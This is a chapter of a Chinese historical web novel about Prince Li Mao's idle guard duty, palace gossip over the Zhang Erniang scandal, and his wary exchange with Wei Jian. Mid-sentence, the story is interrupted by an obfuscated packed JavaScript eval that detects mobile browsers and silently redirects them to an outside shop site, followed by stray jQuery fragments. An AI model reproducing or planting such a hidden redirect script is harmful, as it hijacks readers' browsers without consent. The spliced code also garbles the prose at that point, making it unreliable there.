太子李绍这一次,几乎实打实的被李琩戴了一顶绿帽。
本来李琩和张二娘的事情,便闹的风言风语,说什么的都有,这下好了,两人在皇城内追逐,但凡长眼睛的都看到的,长耳朵的都听说了。
在这种情况下,李隆基不可能不同意太子的和离。
现在的情形,是李琩在侮辱太子,如果李隆基不同意,那就成他侮辱太子了,不合适的。
所以正如很多人猜测的那样,张盈盈此生再无机会进入少阳院,想要嫁人,难比登天。
张去逸入宫了,不是给闺女求情,而是谢罪,事后,他又想去少阳院给太子请罪,可惜跪了两个时辰,少阳院的大门,他都没能进去。
而李琩依然潇洒,李隆基派高力士,真给他找了一间堂屋让他睡觉。
左卫大将军官邸。
李琩也不在乎,反正自己那个弟弟济王李环,跟個囚犯似的,虽然挂了个名,但从来没有到过左卫府。
所以李琩大大方方的就给住进来了,你还别说,这里地方敞亮,光线充足,是个睡觉的好去处。
“巡视宫中,乃禁中要务,你对勋一府的事情不闻不问,终究不妥的,”嗣鲁王李颍无奈的坐在官邸内,望着躺在床上,翘起二郎腿的李琩,道:
“让窦铮或郭千里,暂代你勋一府的事务吧?你看如何?”
左卫的主官是大将军,其下有两名将军,这两人在大将军不在或者未设置的时候,是总领其职的,几乎一直在巡视宫内,而卫府琐事公务,则是长史负责。
窦铮是豳国公窦希瑊的儿子,算是李隆基的表弟,他的妹妹就是皇长子庆王李琮的王妃,也是个不能生的。
至于郭千里,出身太原郭氏晋昌支族,与郭英乂同宗。
李琩斜着脑袋看向鲁王李颖,皱眉道:
“你想架空我?”
你快拉倒吧,还用我架空,你自己已经将自己架空了,李颖无奈一笑:
“那你倒是去啊,太极殿外东、西廊下,两仪殿外列班阶上,武德殿之东、西厢,还有承天、嘉德二门,这都是左卫府的戍卫区域,三大殿,不可儿戏啊。”
李琩笑道:“陆长史都安排好了,不用我去。”
“你这不是胡闹吗?”李颖无语道:
“窦铮和郭千里尚且守在承天门和嘉德门,你名义上只是个中郎将,哪有将军戍卫,而中郎将睡觉之理?”
李琩拍了拍身下的床褥,道:
“是谁让我来这里的?”
李颖一翻白眼:“圣人让你睡觉,你还真睡觉啊,这皇城之内,哪个像你这般清闲,我还有一堆公务缠身呢,结果在你这浪费半天口舌。”
话都说到这个份上了,李琩不出去逛逛也不合适,毕竟他其实也是愿意遛遛弯的,眼下正好有个苦劝的,那便借着台阶下去吧。
“巡视禁中,没必要着甲吧?”李琩下床穿鞋。
李颖见终于说动这位大爷,也跟着起身道:
“那穿着你这身紫衣巡视,左卫的健儿知道你是谁啊?他们还以为是中书省和门下省哪位郎官呢。”
说罢,李颖亲自取来李琩的盔甲,就这么给李琩穿戴起来。
没办法,这是个祖宗。
李琩也任由对方给他穿甲,自己就算出嗣了,也是嗣隋王,当今圣人的亲弟,李颖那都是小宗中的小宗了。
“我就不带人了,就我一个出门巡视一圈,旗子给我,”李琩还真像大爷一样,指挥着左卫府的实际掌权者。
李颖也不介意,令人取来麒麟旗,这是左卫的徽旗,不大,一面三角小旗。
李琩就这么插在腰上,穿着一身沉重的盔甲,一个人出去巡视去了。
太极殿、两仪殿、武德殿,是左卫的戍卫区,要巡视完这三个地方,一上午恐怕不够,因为皇城真的非常大。
一路上,不少认识李琩的人,也都在跟他打招呼。
“你这是要去哪?”李琩遇到了老熟人王维,两人就这么在皇城脚下聊起天来。
王维一脸无语道:
“还不是因为你的事,前几天你在这皇城之中追逐,把人家燕国公给气病了,咸宜公主接着便上门寻事,又给了张二娘两巴掌,御史台负责风闻奏事,事情已经捅到圣人耳中,我这不是奉旨出宫一趟,请咸宜公主进宫问话吗。”
“请咸宜,通常是中书省或内侍省,跟你有什么关系?”李琩诧异道。
王维小声道:
“玉真公主听说之后,给圣人出了一个主意,张二娘眼下,肯定是谁也不敢要了,所以玉真公主建议,让张二娘度牒玉真观,做个女冠吧,总得给人家张公留些颜面,我去就是跟咸宜公主透个风,张二娘有人保了,别再揪着不放了。”
李琩闻言点头,前几天的宫廷追逐,其实不单单坏了太子的名声,他自己的名声也好不到哪去。
咸宜肯定不爽啊,你在皇城里面追我哥干什么?你身为太子良娣,这么干不是给我哥脸上泼脏水吗?
如今的张二娘,可谓名声差到极点,咸宜以前不敢这么干,现在绝对敢了,棒打落水狗嘛。
“圣人没有训斥我什么吗?”李琩问
道。
王维笑道:“训斥了,说你不堪造就,只知睡觉,别的什么都没说。”
那这就不是训斥了,李琩还挺欣慰。
这时候,他发觉韦坚正在朝这边走来,于是小声道:
“你去吧,告诉咸宜就说我说的,别再去张去逸家里,小心气死他。”
“你呀......”王维笑了笑,转身离开。
韦坚与正要离宫的王维打过招呼之后,朝李琩这边边走边笑:
“殿下着甲,雄姿英发,可谓凛凛威风。”
“别奉承我,子金现在应是这皇城之中,最高兴的人了吧?”李琩笑呵呵道,他对韦坚是一百个防范,这个人城府太深了,言语之中,时真时假,让人捉摸不透。
韦坚毫不掩饰的哈哈一笑,道:
“隋王锐眼,张二娘这么一来,韦某心里最大的一颗石头,算是落地了,这几天真是畅快。”
李琩撇了撇嘴,握着腰上的横刀,歪头道:
“有了平准署
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13407050|141270||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的差事,子金如今在皇城,比我还要自由,不过我怎么听说,内库平易之货物,并非价准之货?这与咱们当初约好的,可不一样啊。”
韦坚大大方方道:
“王鉷此人,奸诈狡狯,用人朝前,不用朝后,殿下与他合作实为与虎谋皮,韦某插手进来,一为自身,却也是为殿下分担。”
“你这种行为,不算背弃吗?”李琩脸上没有丝毫指着韦坚的意思。
韦坚摇了摇头:“内库修成之后,王鉷必然往自己身上揽功,若有韦某制衡,他定然需收敛一些,殿下防着韦某,又何尝不是防着王鉷呢,只不过王鉷心思不会显露,惟我,示殿下以诚。”
“你们俩啊,我都信不过,”李琩苦笑摇头。
他要是被韦坚这么一番话,就表态信任韦坚,反倒会让韦坚怀疑。
人的心思是很复杂的,尤其是像韦坚这种自视极高的,身上的心眼连成片了。
韦坚笑道:“时间久了,殿下自会明白,韦某虽工于心计,但绝不会谋算友人,这就是我跟王鉷的区别,王鉷没有朋友。”
他这是在给李琩洗脑,不停的说王鉷坏话,会加深李琩对王鉷的不良印象,非常朴实的小伎俩,却又非常奏效。
“是吗?魏珏又是怎么一回事呢?”李琩挑眉道。
韦坚嘴角一勾,笑道:
“就知道瞒不过殿下,没错,是我请魏少卿出山帮忙,原因嘛,您也清楚,我决不能允许太子妃身边,有这样一个心思缜密却又胆大包天的女人,太子妃是您的阿嫂,她品性如何,您是清楚的。”
“正因为我清楚,莪才时常觉得,阿嫂不该是你的妹子,”李琩阴阳怪气道。
韦坚一愣,抚须沉吟半晌,缓缓道:
“韦某绝不允许任何人,伤害太子妃,殿下与太子的恩怨,也最好不要牵扯吾妹。”
李琩冷哼一声:
“子金不要总是以己度人,你能干出来的事情,我未必做的出来,反过来,我能做的事情,你未必能做到。”
韦坚的脸上仍然挂着他招牌式的笑容,他一直都是这样,喜怒不形于色。
但他对自己的妹妹,是真的很关心,如果太子妃也和他的性子一样,那么韦坚也许会讨厌,但偏偏相反,所以淳真善良的妹妹,会激起他的保护欲。
两人就这么四目相对,默然半晌后,韦坚打破沉闷:
“右仆射举荐我为陕州刺史,右相却同时举荐了我和李齐物,殿下觉得,这个位置,最后会花落谁家呢?”
李琩笑道:“一定是子金的。”
韦坚诧异道:“殿下如此笃信?”
李琩点了点头:“因为你不择手段嘛。”
韦坚一愣,仿佛有种被看穿心事的惊疑感,这让他非常不爽。
疑惑的神情转瞬即逝,韦坚哈哈一笑:
“既然殿下都认定是我,那一定就是我了。”
李琩上前几步,拍了拍韦坚的肩膀,道:
“少点阴谋,多点阳谋,你的路会更好走。”
韦坚顿时皱眉,任由李琩擦肩而过。